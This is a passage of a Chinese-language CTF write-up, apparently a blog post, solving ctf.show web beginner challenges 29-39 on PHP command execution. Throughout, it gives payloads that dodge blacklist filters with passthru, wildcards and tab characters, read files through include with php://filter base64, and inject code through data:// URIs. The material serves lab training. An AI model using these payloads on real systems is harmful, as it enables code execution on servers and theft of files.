1. 程式人生 > 其它 >ctf_show-web入門-命令執行(29-39)

ctf_show-web入門-命令執行(29-39)

WEB29

正則表示式過濾了flag

首先先看看有什麼檔案,?c=system(ls);

看到了 flag.php 用*來輸出,?c=system('cat fla*');

這時候頁面還是空白,但是看前端程式碼

web30

過濾了system和php

可以換用passthru()代替system (),php繼續用*代替

web31

又過濾了一堆

繼續用passthru(),cat不行可以用more之類的代替,單引號過濾了用雙引號,空格可以用tab代替

c=passthru("more%09fla*");

web32

又過濾一堆符號,首先是分號沒了 可以用?>閉合php語句,左括號也沒了,所以用帶括號的函式就行不通了

這裡採用檔案包含,?c=include%0a$_POST[test]?>

讓test為本地檔案測試一下。

成功,再使用偽協議,test=php://filter/read=convert.base64-encode/resource=flag.php

對結果base64解碼

web33-web36

過濾的越來越多

payload和web32一樣,不再贅述

web37

這裡c引數不是執行,而是包含

使用 ?c=data:text/plain,<?=system("cat fla*");?>

web38-39

同上

web40

過濾一大堆,之前的偽協議也沒法用了。